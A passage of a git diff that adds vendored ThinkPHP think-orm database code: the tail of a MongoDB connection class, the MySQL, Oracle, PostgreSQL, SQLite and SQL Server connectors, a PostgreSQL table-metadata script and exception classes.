'(' . ($data ? json_encode($data) : '') . ')'; + + if (isset($options['sort'])) { + $this->queryStr .= '.sort(' . json_encode($options['sort']) . ')'; + } + + if (isset($options['skip'])) { + $this->queryStr .= '.skip(' . $options['skip'] . ')'; + } + + if (isset($options['limit'])) { + $this->queryStr .= '.limit(' . $options['limit'] . ')'; + } + + $this->queryStr .= ';'; + break; + case 'insert': + case 'remove': + $this->queryStr = $type . '(' . ($data ? json_encode($data) : '') . ');'; + break; + case 'update': + $this->queryStr = $type . '(' . json_encode($options) . ',' . json_encode($data) . ');'; + break; + case 'cmd': + $this->queryStr = $data . '(' . json_encode($options) . ');'; + break; + } + + $this->options = $options; + } + + /** + * 获取最近执行的指令 + * @access public + * @return string + */ + public function getLastSql(): string + { + return $this->queryStr; + } + + /** + * 关闭数据库 + * @access public + */ + public function close() + { + $this->mongo = null; + $this->cursor = null; + $this->linkRead = null; + $this->linkWrite = null; + $this->links = []; + } + + /** + * 初始化数据库连接 + * @access protected + * @param boolean $master 是否主服务器 + * @return void + */ + protected function initConnect(bool $master = true): void + { + if (!empty($this->config['deploy'])) { + // 采用分布式数据库 + if ($master) { + if (!$this->linkWrite) { + $this->linkWrite = $this->multiConnect(true); + } + + $this->mongo = $this->linkWrite; + } else { + if (!$this->linkRead) { + $this->linkRead = $this->multiConnect(false); + } + + $this->mongo = $this->linkRead; + } + } elseif (!$this->mongo) { + // 默认单数据库 + $this->mongo = $this->connect(); + } + } + + /** + * 连接分布式服务器 + * @access protected + * @param boolean $master 主服务器 + * @return Manager + */ + protected function multiConnect(bool $master = false): Manager + { + $config = []; + // 分布式数据库配置解析 + foreach (['username', 'password', 'hostname', 'hostport', 'database', 'dsn'] as $name) { + $config[$name] = is_string($this->config[$name]) ? explode(',', $this->config[$name]) : $this->config[$name]; + } + + // 主服务器序号 + $m = floor(mt_rand(0, $this->config['master_num'] - 1)); + + if ($this->config['rw_separate']) { + // 主从式采用读写分离 + if ($master) // 主服务器写入 + { + if ($this->config['is_replica_set']) { + return $this->replicaSetConnect(); + } else { + $r = $m; + } + } elseif (is_numeric($this->config['slave_no'])) { + // 指定服务器读 + $r = $this->config['slave_no']; + } else { + // 读操作连接从服务器 每次随机连接的数据库 + $r = floor(mt_rand($this->config['master_num'], count($config['hostname']) - 1)); + } + } else { + // 读写操作不区分服务器 每次随机连接的数据库 + $r = floor(mt_rand(0, count($config['hostname']) - 1)); + } + + $dbConfig = []; + + foreach (['username', 'password', 'hostname', 'hostport', 'database', 'dsn'] as $name) { + $dbConfig[$name] = $config[$name][$r] ?? $config[$name][0]; + } + + return $this->connect($dbConfig, $r); + } + + /** + * 创建基于复制集的连接 + * @return Manager + */ + public function replicaSetConnect(): Manager + { + $this->dbName = $this->config['database']; + $this->typeMap = $this->config['type_map']; + + $startTime = microtime(true); + + $this->config['params']['replicaSet'] = $this->config['database']; + + $manager = new Manager($this->buildUrl(), $this->config['params']); + + // 记录数据库连接信息 + if (!empty($config['trigger_sql'])) { + $this->trigger('CONNECT:ReplicaSet[ UseTime:' . number_format(microtime(true) - $startTime, 6) . 's ] ' . $this->config['dsn']); + } + + return $manager; + } + + /** + * 根据配置信息 生成适用于连接复制集的 URL + * @return string + */ + private function buildUrl(): string + { + $url = 'mongodb://' . ($this->config['username'] ? "{$this->config['username']}" : '') . ($this->config['password'] ? ":{$this->config['password']}@" : ''); + + $hostList = is_string($this->config['hostname']) ? explode(',', $this->config['hostname']) : $this->config['hostname']; + $portList = is_string($this->config['hostport']) ? explode(',', $this->config['hostport']) : $this->config['hostport']; + + for ($i = 0; $i < count($hostList); $i++) { + $url = $url . $hostList[$i] . ':' . $portList[0] . ','; + } + + return rtrim($url, ",") . '/'; + } + + /** + * 插入记录 + * @access public + * @param BaseQuery $query 查询对象 + * @param boolean $getLastInsID 返回自增主键 + * @return mixed + * @throws AuthenticationException + * @throws InvalidArgumentException + * @throws ConnectionException + * @throws RuntimeException + * @throws BulkWriteException + */ + public function insert(BaseQuery $query, bool $getLastInsID = false) + { + // 分析查询表达式 + $options = $query->parseOptions(); + + if (empty($options['data'])) { + throw new Exception('miss data to insert'); + } + + // 生成bulk对象 + $bulk = $this->builder->insert($query); + + $writeResult = $this->mongoExecute($query, $bulk); + $result = $writeResult->getInsertedCount(); + + if ($result) { + $data = $options['data']; + $lastInsId = $this->getLastInsID($query); + + if ($lastInsId) { + $pk = $query->getPk(); + $data[$pk] = $lastInsId; + } + + $query->setOption('data', $data); + + $this->db->trigger('after_insert', $query); + + if ($getLastInsID) { + return $lastInsId; + } + } + + return $result; + } + + /** + * 获取最近插入的ID + * @access public + * @param BaseQuery $query 查询对象 + * @return mixed + */ + public function getLastInsID(BaseQuery $query) + { + $id = $this->builder->getLastInsID(); + + if (is_array($id)) { + array_walk($id, function (&$item, $key) { + if ($item instanceof ObjectID) { + $item = $item->__toString(); + } + }); + } elseif ($id instanceof ObjectID) { + $id = $id->__toString(); + } + + return $id; + } + + /** + * 批量插入记录 + * @access public + * @param BaseQuery $query 查询对象 + * @param array $dataSet 数据集 + * @return integer + * @throws AuthenticationException + * @throws InvalidArgumentException + * @throws ConnectionException + * @throws RuntimeException + * @throws BulkWriteException + */ + public function insertAll(BaseQuery $query, array $dataSet = []): int + { + // 分析查询表达式 + $query->parseOptions(); + + if (!is_array(reset($dataSet))) { + return 0; + } + + // 生成bulkWrite对象 + $bulk = $this->builder->insertAll($query, $dataSet); + + $writeResult = $this->mongoExecute($query, $bulk); + + return $writeResult->getInsertedCount(); + } + + /** + * 更新记录 + * @access public + * @param BaseQuery $query 查询对象 + * @return int + * @throws Exception + * @throws AuthenticationException + * @throws InvalidArgumentException + * @throws ConnectionException + * @throws RuntimeException + * @throws BulkWriteException + */ + public function update(BaseQuery $query): int + { + $query->parseOptions(); + + // 生成bulkWrite对象 + $bulk = $this->builder->update($query); + + $writeResult = $this->mongoExecute($query, $bulk); + + $result = $writeResult->getModifiedCount(); + + if ($result) { + $this->db->trigger('after_update', $query); + } + + return $result; + } + + /** + * 删除记录 + * @access public + * @param BaseQuery $query 查询对象 + * @return int + * @throws Exception + * @throws AuthenticationException + * @throws InvalidArgumentException + * @throws ConnectionException + * @throws RuntimeException + * @throws BulkWriteException + */ + public function delete(BaseQuery $query): int + { + // 分析查询表达式 + $query->parseOptions(); + + // 生成bulkWrite对象 + $bulk = $this->builder->delete($query); + + // 执行操作 + $writeResult = $this->mongoExecute($query, $bulk); + + $result = $writeResult->getDeletedCount(); + + if ($result) { + $this->db->trigger('after_delete', $query); + } + + return $result; + } + + /** + * 查找记录 + * @access public + * @param BaseQuery $query 查询对象 + * @return array + * @throws ModelNotFoundException + * @throws DataNotFoundException + * @throws AuthenticationException + * @throws InvalidArgumentException + * @throws ConnectionException + * @throws RuntimeException + */ + public function select(BaseQuery $query): array + { + $resultSet = $this->db->trigger('before_select', $query); + + if (!$resultSet) { + $resultSet = $this->mongoQuery($query, function ($query) { + return $this->builder->select($query); + }); + } + + return $resultSet; + } + + /** + * 查找单条记录 + * @access public + * @param BaseQuery $query 查询对象 + * @return array + * @throws ModelNotFoundException + * @throws DataNotFoundException + * @throws AuthenticationException + * @throws InvalidArgumentException + * @throws ConnectionException + * @throws RuntimeException + */ + public function find(BaseQuery $query): array + { + // 事件回调 + $result = $this->db->trigger('before_find', $query); + + if (!$result) { + // 执行查询 + $resultSet = $this->mongoQuery($query, function ($query) { + return $this->builder->select($query, true); + }); + + $result = $resultSet[0] ?? []; + } + + return $result; + } + + /** + * 得到某个字段的值 + * @access public + * @param string $field 字段名 + * @param mixed $default 默认值 + * @return mixed + */ + public function value(BaseQuery $query, string $field, $default = null) + { + $options = $query->parseOptions(); + + if (isset($options['projection'])) { + $query->removeOption('projection'); + } + + $query->setOption('projection', (array) $field); + + if (!empty($options['cache'])) { + $cacheItem = $this->parseCache($query, $options['cache']); + $key = $cacheItem->getKey(); + + if ($this->cache->has($key)) { + return $this->cache->get($key); + } + } + + $mongoQuery = $this->builder->select($query, true); + + if (isset($options['projection'])) { + $query->setOption('projection', $options['projection']); + } else { + $query->removeOption('projection'); + } + + // 执行查询操作 + $resultSet = $this->mongoQuery($query, $mongoQuery); + + if (!empty($resultSet)) { + $data = array_shift($resultSet); + $result = $data[$field]; + } else { + $result = false; + } + + if (isset($cacheItem) && false !== $result) { + // 缓存数据 + $cacheItem->set($result); + $this->cacheData($cacheItem); + } + + return false !== $result ? $result : $default; + } + + /** + * 得到某个列的数组 + * @access public + * @param string $field 字段名 多个字段用逗号分隔 + * @param string $key 索引 + * @return array + */ + public function column(BaseQuery $query, string $field, string $key = ''): array + { + $options = $query->parseOptions(); + + if (isset($options['projection'])) { + $query->removeOption('projection'); + } + + if ($key && '*' != $field) { + $projection = $key . ',' . $field; + } else { + $projection = $field; + } + + $query->field($projection); + + if (!empty($options['cache'])) { + // 判断查询缓存 + $cacheItem = $this->parseCache($query, $options['cache']); + $key = $cacheItem->getKey(); + + if ($this->cache->has($key)) { + return $this->cache->get($key); + } + } + + $mongoQuery = $this->builder->select($query); + + if (isset($options['projection'])) { + $query->setOption('projection', $options['projection']); + } else { + $query->removeOption('projection'); + } + + // 执行查询操作 + $resultSet = $this->mongoQuery($query, $mongoQuery); + + if (('*' == $field || strpos($field, ',')) && $key) { + $result = array_column($resultSet, null, $key); + } elseif (!empty($resultSet)) { + $result = array_column($resultSet, $field, $key); + } else { + $result = []; + } + + if (isset($cacheItem)) { + // 缓存数据 + $cacheItem->set($result); + $this->cacheData($cacheItem); + } + + return $result; + } + + /** + * 执行command + * @access public + * @param BaseQuery $query 查询对象 + * @param string|array|object $command 指令 + * @param mixed $extra 额外参数 + * @param string $db 数据库名 + * @return array + */ + public function cmd(BaseQuery $query, $command, $extra = null, string $db = ''): array + { + if (is_array($command) || is_object($command)) { + + $this->mongoLog('cmd', 'cmd', $command); + + // 直接创建Command对象 + $command = new Command($command); + } else { + // 调用Builder封装的Command对象 + $command = $this->builder->$command($query, $extra); + } + + return $this->command($command, $db); + } + + /** + * 获取数据库字段 + * @access public + * @param mixed $tableName 数据表名 + * @return array + */ + public function getTableFields($tableName): array + { + return []; + } + + /** + * 执行数据库事务 + * @access public + * @param callable $callback 数据操作方法回调 + * @return mixed + * @throws PDOException + * @throws \Exception + * @throws \Throwable + */ + public function transaction(callable $callback) + { + $this->startTrans(); + try { + $result = null; + if (is_callable($callback)) { + $result = call_user_func_array($callback, [$this]); + } + $this->commit(); + return $result; + } catch (\Exception $e) { + $this->rollback(); + throw $e; + } catch (\Throwable $e) { + $this->rollback(); + throw $e; + } + } + + /** + * 启动事务 + * @access public + * @return void + * @throws \PDOException + * @throws \Exception + */ + public function startTrans() + { + $this->initConnect(true); + $this->session_uuid = uniqid(); + $this->sessions[$this->session_uuid] = $this->getMongo()->startSession(); + + $this->sessions[$this->session_uuid]->startTransaction([]); + } + + /** + * 用于非自动提交状态下面的查询提交 + * @access public + * @return void + * @throws PDOException + */ + public function commit() + { + if ($session = $this->getSession()) { + $session->commitTransaction(); + $this->setLastSession(); + } + } + + /** + * 事务回滚 + * @access public + * @return void + * @throws PDOException + */ + public function rollback() + { + if ($session = $this->getSession()) { + $session->abortTransaction(); + $this->setLastSession(); + } + } + + /** + * 结束当前会话,设置上一个会话为当前会话 + * @author klinson + */ + protected function setLastSession() + { + if ($session = $this->getSession()) { + $session->endSession(); + unset($this->sessions[$this->session_uuid]); + if (empty($this->sessions)) { + $this->session_uuid = null; + } else { + end($this->sessions); + $this->session_uuid = key($this->sessions); + } + } + } + + /** + * 获取当前会话 + * @return \MongoDB\Driver\Session|null + * @author klinson + */ + public function getSession() + { + return ($this->session_uuid && isset($this->sessions[$this->session_uuid])) + ? $this->sessions[$this->session_uuid] + : null; + } +} diff --git a/vendor/topthink/think-orm/src/db/connector/Mysql.php b/vendor/topthink/think-orm/src/db/connector/Mysql.php new file mode 100644 index 0000000..483b447 --- /dev/null +++ b/vendor/topthink/think-orm/src/db/connector/Mysql.php @@ -0,0 +1,162 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\db\connector; + +use PDO; +use think\db\PDOConnection; + +/** + * mysql数据库驱动 + */ +class Mysql extends PDOConnection +{ + + /** + * 解析pdo连接的dsn信息 + * @access protected + * @param array $config 连接信息 + * @return string + */ + protected function parseDsn(array $config): string + { + if (!empty($config['socket'])) { + $dsn = 'mysql:unix_socket=' . $config['socket']; + } elseif (!empty($config['hostport'])) { + $dsn = 'mysql:host=' . $config['hostname'] . ';port=' . $config['hostport']; + } else { + $dsn = 'mysql:host=' . $config['hostname']; + } + $dsn .= ';dbname=' . $config['database']; + + if (!empty($config['charset'])) { + $dsn .= ';charset=' . $config['charset']; + } + + return $dsn; + } + + /** + * 取得数据表的字段信息 + * @access public + * @param string $tableName + * @return array + */ + public function getFields(string $tableName): array + { + [$tableName] = explode(' ', $tableName); + + if (false === strpos($tableName, '`')) { + if (strpos($tableName, '.')) { + $tableName = str_replace('.', '`.`', $tableName); + } + $tableName = '`' . $tableName . '`'; + } + + $sql = 'SHOW FULL COLUMNS FROM ' . $tableName; + $pdo = $this->getPDOStatement($sql); + $result = $pdo->fetchAll(PDO::FETCH_ASSOC); + $info = []; + + if (!empty($result)) { + foreach ($result as $key => $val) { + $val = array_change_key_case($val); + + $info[$val['field']] = [ + 'name' => $val['field'], + 'type' => $val['type'], + 'notnull' => 'NO' == $val['null'], + 'default' => $val['default'], + 'primary' => strtolower($val['key']) == 'pri', + 'autoinc' => strtolower($val['extra']) == 'auto_increment', + 'comment' => $val['comment'], + ]; + } + } + + return $this->fieldCase($info); + } + + /** + * 取得数据库的表信息 + * @access public + * @param string $dbName + * @return array + */ + public function getTables(string $dbName = ''): array + { + $sql = !empty($dbName) ? 'SHOW TABLES FROM ' . $dbName : 'SHOW TABLES '; + $pdo = $this->getPDOStatement($sql); + $result = $pdo->fetchAll(PDO::FETCH_ASSOC); + $info = []; + + foreach ($result as $key => $val) { + $info[$key] = current($val); + } + + return $info; + } + + protected function supportSavepoint(): bool + { + return true; + } + + /** + * 启动XA事务 + * @access public + * @param string $xid XA事务id + * @return void + */ + public function startTransXa(string $xid) + { + $this->initConnect(true); + $this->linkID->exec("XA START '$xid'"); + } + + /** + * 预编译XA事务 + * @access public + * @param string $xid XA事务id + * @return void + */ + public function prepareXa(string $xid) + { + $this->initConnect(true); + $this->linkID->exec("XA END '$xid'"); + $this->linkID->exec("XA PREPARE '$xid'"); + } + + /** + * 提交XA事务 + * @access public + * @param string $xid XA事务id + * @return void + */ + public function commitXa(string $xid) + { + $this->initConnect(true); + $this->linkID->exec("XA COMMIT '$xid'"); + } + + /** + * 回滚XA事务 + * @access public + * @param string $xid XA事务id + * @return void + */ + public function rollbackXa(string $xid) + { + $this->initConnect(true); + $this->linkID->exec("XA ROLLBACK '$xid'"); + } +} diff --git a/vendor/topthink/think-orm/src/db/connector/Oracle.php b/vendor/topthink/think-orm/src/db/connector/Oracle.php new file mode 100644 index 0000000..236d8bf --- /dev/null +++ b/vendor/topthink/think-orm/src/db/connector/Oracle.php @@ -0,0 +1,117 @@ + +// +---------------------------------------------------------------------- + +namespace think\db\connector; + +use PDO; +use think\db\BaseQuery; +use think\db\PDOConnection; + +/** + * Oracle数据库驱动 + */ +class Oracle extends PDOConnection +{ + /** + * 解析pdo连接的dsn信息 + * @access protected + * @param array $config 连接信息 + * @return string + */ + protected function parseDsn(array $config): string + { + $dsn = 'oci:dbname='; + + if (!empty($config['hostname'])) { + // Oracle Instant Client + $dsn .= '//' . $config['hostname'] . ($config['hostport'] ? ':' . $config['hostport'] : '') . '/'; + } + + $dsn .= $config['database']; + + if (!empty($config['charset'])) { + $dsn .= ';charset=' . $config['charset']; + } + + return $dsn; + } + + /** + * 取得数据表的字段信息 + * @access public + * @param string $tableName + * @return array + */ + public function getFields(string $tableName): array + { + [$tableName] = explode(' ', $tableName); + $sql = "select a.column_name,data_type,DECODE (nullable, 'Y', 0, 1) notnull,data_default, DECODE (A .column_name,b.column_name,1,0) pk from all_tab_columns a,(select column_name from all_constraints c, all_cons_columns col where c.constraint_name = col.constraint_name and c.constraint_type = 'P' and c.table_name = '" . strtoupper($tableName) . "' ) b where table_name = '" . strtoupper($tableName) . "' and a.column_name = b.column_name (+)"; + + $pdo = $this->getPDOStatement($sql); + $result = $pdo->fetchAll(PDO::FETCH_ASSOC); + $info = []; + + if ($result) { + foreach ($result as $key => $val) { + $val = array_change_key_case($val); + + $info[$val['column_name']] = [ + 'name' => $val['column_name'], + 'type' => $val['data_type'], + 'notnull' => $val['notnull'], + 'default' => $val['data_default'], + 'primary' => $val['pk'], + 'autoinc' => $val['pk'], + ]; + } + } + + return $this->fieldCase($info); + } + + /** + * 取得数据库的表信息(暂时实现取得用户表信息) + * @access public + * @param string $dbName + * @return array + */ + public function getTables(string $dbName = ''): array + { + $sql = 'select table_name from all_tables'; + $pdo = $this->getPDOStatement($sql); + $result = $pdo->fetchAll(PDO::FETCH_ASSOC); + $info = []; + + foreach ($result as $key => $val) { + $info[$key] = current($val); + } + + return $info; + } + + /** + * 获取最近插入的ID + * @access public + * @param BaseQuery $query 查询对象 + * @param string $sequence 自增序列名 + * @return mixed + */ + public function getLastInsID(BaseQuery $query, string $sequence = null) + { + $pdo = $this->linkID->query("select {$sequence}.currval as id from dual"); + $result = $pdo->fetchColumn(); + + return $result; + } + + protected function supportSavepoint(): bool + { + return true; + } +} diff --git a/vendor/topthink/think-orm/src/db/connector/Pgsql.php b/vendor/topthink/think-orm/src/db/connector/Pgsql.php new file mode 100644 index 0000000..fec8f84 --- /dev/null +++ b/vendor/topthink/think-orm/src/db/connector/Pgsql.php @@ -0,0 +1,108 @@ + +// +---------------------------------------------------------------------- + +namespace think\db\connector; + +use PDO; +use think\db\PDOConnection; + +/** + * Pgsql数据库驱动 + */ +class Pgsql extends PDOConnection +{ + + /** + * 默认PDO连接参数 + * @var array + */ + protected $params = [ + PDO::ATTR_CASE => PDO::CASE_NATURAL, + PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, + PDO::ATTR_ORACLE_NULLS => PDO::NULL_NATURAL, + PDO::ATTR_STRINGIFY_FETCHES => false, + ]; + + /** + * 解析pdo连接的dsn信息 + * @access protected + * @param array $config 连接信息 + * @return string + */ + protected function parseDsn(array $config): string + { + $dsn = 'pgsql:dbname=' . $config['database'] . ';host=' . $config['hostname']; + + if (!empty($config['hostport'])) { + $dsn .= ';port=' . $config['hostport']; + } + + return $dsn; + } + + /** + * 取得数据表的字段信息 + * @access public + * @param string $tableName + * @return array + */ + public function getFields(string $tableName): array + { + [$tableName] = explode(' ', $tableName); + $sql = 'select fields_name as "field",fields_type as "type",fields_not_null as "null",fields_key_name as "key",fields_default as "default",fields_default as "extra" from table_msg(\'' . $tableName . '\');'; + + $pdo = $this->getPDOStatement($sql); + $result = $pdo->fetchAll(PDO::FETCH_ASSOC); + $info = []; + + if (!empty($result)) { + foreach ($result as $key => $val) { + $val = array_change_key_case($val); + + $info[$val['field']] = [ + 'name' => $val['field'], + 'type' => $val['type'], + 'notnull' => (bool) ('' !== $val['null']), + 'default' => $val['default'], + 'primary' => !empty($val['key']), + 'autoinc' => (0 === strpos($val['extra'], 'nextval(')), + ]; + } + } + + return $this->fieldCase($info); + } + + /** + * 取得数据库的表信息 + * @access public + * @param string $dbName + * @return array + */ + public function getTables(string $dbName = ''): array + { + $sql = "select tablename as Tables_in_test from pg_tables where schemaname ='public'"; + $pdo = $this->getPDOStatement($sql); + $result = $pdo->fetchAll(PDO::FETCH_ASSOC); + $info = []; + + foreach ($result as $key => $val) { + $info[$key] = current($val); + } + + return $info; + } + + protected function supportSavepoint(): bool + { + return true; + } +} diff --git a/vendor/topthink/think-orm/src/db/connector/Sqlite.php b/vendor/topthink/think-orm/src/db/connector/Sqlite.php new file mode 100644 index 0000000..c664f20 --- /dev/null +++ b/vendor/topthink/think-orm/src/db/connector/Sqlite.php @@ -0,0 +1,96 @@ + +// +---------------------------------------------------------------------- + +namespace think\db\connector; + +use PDO; +use think\db\PDOConnection; + +/** + * Sqlite数据库驱动 + */ +class Sqlite extends PDOConnection +{ + + /** + * 解析pdo连接的dsn信息 + * @access protected + * @param array $config 连接信息 + * @return string + */ + protected function parseDsn(array $config): string + { + $dsn = 'sqlite:' . $config['database']; + + return $dsn; + } + + /** + * 取得数据表的字段信息 + * @access public + * @param string $tableName + * @return array + */ + public function getFields(string $tableName): array + { + [$tableName] = explode(' ', $tableName); + $sql = 'PRAGMA table_info( ' . $tableName . ' )'; + + $pdo = $this->getPDOStatement($sql); + $result = $pdo->fetchAll(PDO::FETCH_ASSOC); + $info = []; + + if (!empty($result)) { + foreach ($result as $key => $val) { + $val = array_change_key_case($val); + + $info[$val['name']] = [ + 'name' => $val['name'], + 'type' => $val['type'], + 'notnull' => 1 === $val['notnull'], + 'default' => $val['dflt_value'], + 'primary' => '1' == $val['pk'], + 'autoinc' => '1' == $val['pk'], + ]; + } + } + + return $this->fieldCase($info); + } + + /** + * 取得数据库的表信息 + * @access public + * @param string $dbName + * @return array + */ + public function getTables(string $dbName = ''): array + { + $sql = "SELECT name FROM sqlite_master WHERE type='table' " + . "UNION ALL SELECT name FROM sqlite_temp_master " + . "WHERE type='table' ORDER BY name"; + + $pdo = $this->getPDOStatement($sql); + $result = $pdo->fetchAll(PDO::FETCH_ASSOC); + $info = []; + + foreach ($result as $key => $val) { + $info[$key] = current($val); + } + + return $info; + } + + protected function supportSavepoint(): bool + { + return true; + } +} diff --git a/vendor/topthink/think-orm/src/db/connector/Sqlsrv.php b/vendor/topthink/think-orm/src/db/connector/Sqlsrv.php new file mode 100644 index 0000000..63b2df0 --- /dev/null +++ b/vendor/topthink/think-orm/src/db/connector/Sqlsrv.php @@ -0,0 +1,122 @@ + +// +---------------------------------------------------------------------- + +namespace think\db\connector; + +use PDO; +use think\db\PDOConnection; + +/** + * Sqlsrv数据库驱动 + */ +class Sqlsrv extends PDOConnection +{ + /** + * 默认PDO连接参数 + * @var array + */ + protected $params = [ + PDO::ATTR_CASE => PDO::CASE_NATURAL, + PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, + PDO::ATTR_ORACLE_NULLS => PDO::NULL_NATURAL, + PDO::ATTR_STRINGIFY_FETCHES => false, + ]; + + /** + * 解析pdo连接的dsn信息 + * @access protected + * @param array $config 连接信息 + * @return string + */ + protected function parseDsn(array $config): string + { + $dsn = 'sqlsrv:Database=' . $config['database'] . ';Server=' . $config['hostname']; + + if (!empty($config['hostport'])) { + $dsn .= ',' . $config['hostport']; + } + + return $dsn; + } + + /** + * 取得数据表的字段信息 + * @access public + * @param string $tableName + * @return array + */ + public function getFields(string $tableName): array + { + [$tableName] = explode(' ', $tableName); + + $sql = "SELECT column_name, data_type, column_default, is_nullable + FROM information_schema.tables AS t + JOIN information_schema.columns AS c + ON t.table_catalog = c.table_catalog + AND t.table_schema = c.table_schema + AND t.table_name = c.table_name + WHERE t.table_name = '$tableName'"; + + $pdo = $this->getPDOStatement($sql); + $result = $pdo->fetchAll(PDO::FETCH_ASSOC); + $info = []; + + if (!empty($result)) { + foreach ($result as $key => $val) { + $val = array_change_key_case($val); + + $info[$val['column_name']] = [ + 'name' => $val['column_name'], + 'type' => $val['data_type'], + 'notnull' => (bool) ('' === $val['is_nullable']), // not null is empty, null is yes + 'default' => $val['column_default'], + 'primary' => false, + 'autoinc' => false, + ]; + } + } + + $sql = "SELECT column_name FROM information_schema.key_column_usage WHERE table_name='$tableName'"; + $pdo = $this->linkID->query($sql); + $result = $pdo->fetch(PDO::FETCH_ASSOC); + + if ($result) { + $info[$result['column_name']]['primary'] = true; + } + + return $this->fieldCase($info); + } + + /** + * 取得数据表的字段信息 + * @access public + * @param string $dbName + * @return array + */ + public function getTables(string $dbName = ''): array + { + $sql = "SELECT TABLE_NAME + FROM INFORMATION_SCHEMA.TABLES + WHERE TABLE_TYPE = 'BASE TABLE' + "; + + $pdo = $this->getPDOStatement($sql); + $result = $pdo->fetchAll(PDO::FETCH_ASSOC); + $info = []; + + foreach ($result as $key => $val) { + $info[$key] = current($val); + } + + return $info; + } + +} diff --git a/vendor/topthink/think-orm/src/db/connector/pgsql.sql b/vendor/topthink/think-orm/src/db/connector/pgsql.sql new file mode 100644 index 0000000..e1a09a3 --- /dev/null +++ b/vendor/topthink/think-orm/src/db/connector/pgsql.sql @@ -0,0 +1,117 @@ +CREATE OR REPLACE FUNCTION pgsql_type(a_type varchar) RETURNS varchar AS +$BODY$ +DECLARE + v_type varchar; +BEGIN + IF a_type='int8' THEN + v_type:='bigint'; + ELSIF a_type='int4' THEN + v_type:='integer'; + ELSIF a_type='int2' THEN + v_type:='smallint'; + ELSIF a_type='bpchar' THEN + v_type:='char'; + ELSE + v_type:=a_type; + END IF; + RETURN v_type; +END; +$BODY$ +LANGUAGE PLPGSQL; + +CREATE TYPE "public"."tablestruct" AS ( + "fields_key_name" varchar(100), + "fields_name" VARCHAR(200), + "fields_type" VARCHAR(20), + "fields_length" BIGINT, + "fields_not_null" VARCHAR(10), + "fields_default" VARCHAR(500), + "fields_comment" VARCHAR(1000) +); + +CREATE OR REPLACE FUNCTION "public"."table_msg" (a_schema_name varchar, a_table_name varchar) RETURNS SETOF "public"."tablestruct" AS +$body$ +DECLARE + v_ret tablestruct; + v_oid oid; + v_sql varchar; + v_rec RECORD; + v_key varchar; +BEGIN + SELECT + pg_class.oid INTO v_oid + FROM + pg_class + INNER JOIN pg_namespace ON (pg_class.relnamespace = pg_namespace.oid AND lower(pg_namespace.nspname) = a_schema_name) + WHERE + pg_class.relname=a_table_name; + IF NOT FOUND THEN + RETURN; + END IF; + + v_sql=' + SELECT + pg_attribute.attname AS fields_name, + pg_attribute.attnum AS fields_index, + pgsql_type(pg_type.typname::varchar) AS fields_type, + pg_attribute.atttypmod-4 as fields_length, + CASE WHEN pg_attribute.attnotnull THEN ''not null'' + ELSE '''' + END AS fields_not_null, + pg_attrdef.adsrc AS fields_default, + pg_description.description AS fields_comment + FROM + pg_attribute + INNER JOIN pg_class ON pg_attribute.attrelid = pg_class.oid + INNER JOIN pg_type ON pg_attribute.atttypid = pg_type.oid + LEFT OUTER JOIN pg_attrdef ON pg_attrdef.adrelid = pg_class.oid AND pg_attrdef.adnum = pg_attribute.attnum + LEFT OUTER JOIN pg_description ON pg_description.objoid = pg_class.oid AND pg_description.objsubid = pg_attribute.attnum + WHERE + pg_attribute.attnum > 0 + AND attisdropped <> ''t'' + AND pg_class.oid = ' || v_oid || ' + ORDER BY pg_attribute.attnum' ; + + FOR v_rec IN EXECUTE v_sql LOOP + v_ret.fields_name=v_rec.fields_name; + v_ret.fields_type=v_rec.fields_type; + IF v_rec.fields_length > 0 THEN + v_ret.fields_length:=v_rec.fields_length; + ELSE + v_ret.fields_length:=NULL; + END IF; + v_ret.fields_not_null=v_rec.fields_not_null; + v_ret.fields_default=v_rec.fields_default; + v_ret.fields_comment=v_rec.fields_comment; + SELECT constraint_name INTO v_key FROM information_schema.key_column_usage WHERE table_schema=a_schema_name AND table_name=a_table_name AND column_name=v_rec.fields_name; + IF FOUND THEN + v_ret.fields_key_name=v_key; + ELSE + v_ret.fields_key_name=''; + END IF; + RETURN NEXT v_ret; + END LOOP; + RETURN ; +END; +$body$ +LANGUAGE 'plpgsql' VOLATILE CALLED ON NULL INPUT SECURITY INVOKER; + +COMMENT ON FUNCTION "public"."table_msg"(a_schema_name varchar, a_table_name varchar) +IS '获得表信息'; + +---重载一个函数 +CREATE OR REPLACE FUNCTION "public"."table_msg" (a_table_name varchar) RETURNS SETOF "public"."tablestruct" AS +$body$ +DECLARE + v_ret tablestruct; +BEGIN + FOR v_ret IN SELECT * FROM table_msg('public',a_table_name) LOOP + RETURN NEXT v_ret; + END LOOP; + RETURN; +END; +$body$ +LANGUAGE 'plpgsql' VOLATILE CALLED ON NULL INPUT SECURITY INVOKER; + +COMMENT ON FUNCTION "public"."table_msg"(a_table_name varchar) +IS '获得表信息'; \ No newline at end of file diff --git a/vendor/topthink/think-orm/src/db/exception/BindParamException.php b/vendor/topthink/think-orm/src/db/exception/BindParamException.php new file mode 100644 index 0000000..08bb388 --- /dev/null +++ b/vendor/topthink/think-orm/src/db/exception/BindParamException.php @@ -0,0 +1,35 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\db\exception; + +/** + * PDO参数绑定异常 + */ +class BindParamException extends DbException +{ + + /** + * BindParamException constructor. + * @access public + * @param string $message + * @param array $config + * @param string $sql + * @param array $bind + * @param int $code + */ + public function __construct(string $message, array $config, string $sql, array $bind, int $code = 10502) + { + $this->setData('Bind Param', $bind); + parent::__construct($message, $config, $sql, $code); + } +} diff --git a/vendor/topthink/think-orm/src/db/exception/DataNotFoundException.php b/vendor/topthink/think-orm/src/db/exception/DataNotFoundException.php new file mode 100644 index 0000000..d10dd43 --- /dev/null +++ b/vendor/topthink/think-orm/src/db/exception/DataNotFoundException.php @@ -0,0 +1,43 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\db\exception; + +class DataNotFoundException extends DbException +{ + protected $table; + + /** + * DbException constructor. + * @access public + * @param string $message + * @param string $table + * @param array $config + */ + public function __construct(string $message, string $table = '', array $config = []) + { + $this->message = $message; + $this->table = $table; + + $this->setData('Database Config', $config); + } + + /** + * 获取数据表名 + * @access public + * @return string + */ + public function getTable() + { + return $this->table; + } +} diff --git a/vendor/topthink/think-orm/src/db/exception/DbException.php b/vendor/topthink/think-orm/src/db/exception/DbException.php new file mode 100644 index 0000000..7d1deaa --- /dev/null +++ b/vendor/topthink/think-orm/src/db/exception/DbException.php @@ -0,0 +1,110 @@ + +// 